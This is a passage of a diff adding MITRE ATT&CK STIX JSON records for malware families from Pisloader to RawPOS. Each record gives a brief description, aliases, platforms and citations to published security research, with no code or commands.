"created": "2017-05-31T21:33:12.388Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Pisloader", + "x_mitre_aliases": [ + "Pisloader" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)", + "id": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "external_references": [ + { + "external_id": "S0013", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0013" + }, + { + "source_name": "PlugX", + "description": "(Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013)" + }, + { + "source_name": "DestroyRAT", + "description": "(Citation: CIRCL PlugX March 2013)" + }, + { + "source_name": "Sogu", + "description": "(Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013)" + }, + { + "source_name": "Kaba", + "description": "(Citation: FireEye Clandestine Fox Part 2)" + }, + { + "source_name": "Korplug", + "description": "(Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013)" + }, + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "url": "http://labs.lastline.com/an-analysis-of-plugx" + }, + { + "source_name": "FireEye Clandestine Fox Part 2", + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + }, + { + "source_name": "New DragonOK", + "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.", + "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-19T15:08:15.613Z", + "type": "malware", + "created": "2017-05-31T21:32:15.638Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PlugX", + "x_mitre_aliases": [ + "PlugX", + "DestroyRAT", + "Sogu", + "Kaba", + "Korplug" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)", + "id": "malware--b42378e0-f147-496f-992a-26a49705395b", + "external_references": [ + { + "external_id": "S0012", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0012" + }, + { + "source_name": "PoisonIvy", + "description": "(Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014)" + }, + { + "source_name": "Poison Ivy", + "description": "(Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014)" + }, + { + "source_name": "Darkmoon", + "description": "(Citation: Symantec Darkmoon Sept 2014)" + }, + { + "source_name": "FireEye Poison Ivy", + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + }, + { + "source_name": "Symantec Darkmoon Sept 2014", + "description": "Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018.", + "url": "https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:15.263Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PoisonIvy", + "x_mitre_contributors": [ + "Darren Spruell" + ], + "x_mitre_aliases": [ + "PoisonIvy", + "Poison Ivy", + "Darkmoon" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", + "id": "malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3", + "external_references": [ + { + "external_id": "S0177", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0177" + }, + { + "source_name": "MalwareTech Power Loader Aug 2013", + "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", + "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html" + }, + { + "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013", + "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", + "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Power Loader", + "x_mitre_aliases": [ + "Power Loader", + "Win32/Agent.UAW" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)", + "id": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "external_references": [ + { + "external_id": "S0139", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0139" + }, + { + "source_name": "PowerDuke", + "description": "(Citation: Volexity PowerDuke November 2016)" + }, + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-22T22:31:38.093Z", + "type": "malware", + "created": "2017-05-31T21:33:19.746Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PowerDuke", + "x_mitre_aliases": [ + "PowerDuke" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1086) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)", + "id": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "external_references": [ + { + "external_id": "S0393", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0393" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-07-14T21:02:01.124Z", + "type": "malware", + "created": "2019-06-21T17:23:27.855Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PowerStallion", + "x_mitre_aliases": [ + "PowerStallion" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)", + "id": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "external_references": [ + { + "external_id": "S0113", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0113" + }, + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-07-26T20:45:13.639Z", + "type": "malware", + "created": "2017-05-31T21:33:07.943Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Prikormka", + "x_mitre_aliases": [ + "Prikormka" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).", + "id": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "external_references": [ + { + "external_id": "S0279", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0279" + }, + { + "source_name": "Proton", + "description": "(Citation: objsee mac malware 2017)." + }, + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2019-06-24T19:03:52.505Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Proton", + "x_mitre_aliases": [ + "Proton" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)", + "id": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "external_references": [ + { + "external_id": "S0238", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0238" + }, + { + "source_name": "Proxysvc", + "description": "(Citation: McAfee GhostSecret)" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-22T22:40:40.953Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Proxysvc", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "Proxysvc" + ], + "x_mitre_contributors": [ + "Edward Millington" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)", + "id": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "external_references": [ + { + "external_id": "S0078", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0078" + }, + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:53.268Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Psylo", + "x_mitre_aliases": [ + "Psylo" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)", + "id": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "external_references": [ + { + "external_id": "S0147", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0147" + }, + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:26.084Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Pteranodon", + "x_mitre_aliases": [ + "Pteranodon" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)", + "id": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "external_references": [ + { + "external_id": "S0269", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0269" + }, + { + "source_name": "QUADAGENT", + "description": "(Citation: Unit 42 QUADAGENT July 2018)" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "QUADAGENT", + "x_mitre_aliases": [ + "QUADAGENT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)", + "id": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "external_references": [ + { + "external_id": "S0055", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0055" + }, + { + "source_name": "Aquino RARSTONE", + "description": "Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:38.480Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RARSTONE", + "x_mitre_aliases": [ + "RARSTONE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)", + "id": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "external_references": [ + { + "external_id": "S0241", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0241" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + }, + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-05-03T16:54:32.964Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RATANKBA", + "x_mitre_aliases": [ + "RATANKBA" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)", + "id": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "external_references": [ + { + "external_id": "S0258", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0258" + }, + { + "source_name": "RGDoor", + "description": "(Citation: Unit 42 RGDoor Jan 2018)" + }, + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RGDoor", + "x_mitre_aliases": [ + "RGDoor" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)", + "id": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "external_references": [ + { + "external_id": "S0003", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0003" + }, + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:11.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RIPTIDE", + "x_mitre_aliases": [ + "RIPTIDE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)", + "id": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7", + "external_references": [ + { + "external_id": "S0112", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0112" + }, + { + "source_name": "FireEye Bootkits", + "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:07.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ROCKBOOT", + "x_mitre_aliases": [ + "ROCKBOOT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123)", + "id": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "external_references": [ + { + "external_id": "S0240", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0240" + }, + { + "source_name": "ROKRAT", + "description": "(Citation: Talos ROKRAT 2) (Citation: Talos Group123)" + }, + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "source_name": "Talos ROKRAT 2", + "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-07-26T22:56:57.409Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ROKRAT", + "x_mitre_aliases": [ + "ROKRAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). (Citation: ESET RTM Feb 2017)", + "id": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "external_references": [ + { + "external_id": "S0148", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0148" + }, + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:26.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "RTM", + "x_mitre_aliases": [ + "RTM" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "id": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "external_references": [ + { + "external_id": "S0169", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0169" + }, + { + "source_name": "RawPOS", + "description": "(Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: DarkReading FireEye FIN5 Oct 2015)" + }, + { + "source_name": "FIENDCRY", + "description": "The FIENDCRY component is a memory scraper based on MemPDump that scans through process memory looking for regular expressions. Its stage 1 component scans all processes, and its stage 2 component targets a specific process of interest. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: Github Mempdump) (Citation: DarkReading FireEye FIN5 Oct 2015)" + }, + { + "source_name": "DUEBREW", + "description": "The DUEBREW component is a Perl2Exe binary launcher. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)" + }, + { + "source_name": "DRIFTWOOD", + "description": "The DRIFTWOOD component is a Perl2Exe compiled Perl script used by G0053 after they have identified data of interest on victims. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)" + }, + { + "source_name": "Kroll RawPOS Jan 2017", + "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "url": "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105" + }, + { + "source_name": "TrendMicro RawPOS April 2015", + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + }, + { + "source_name": "Github Mempdump", + "description": "DiabloHorn. (2015, March 22). mempdump. Retrieved October 6, 2017.", + "url": "https://github.com/DiabloHorn/mempdump" + }, + { + "source_name": "Visa RawPOS March 2015", + "description": "Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.", + "url": "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf" + }, + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors 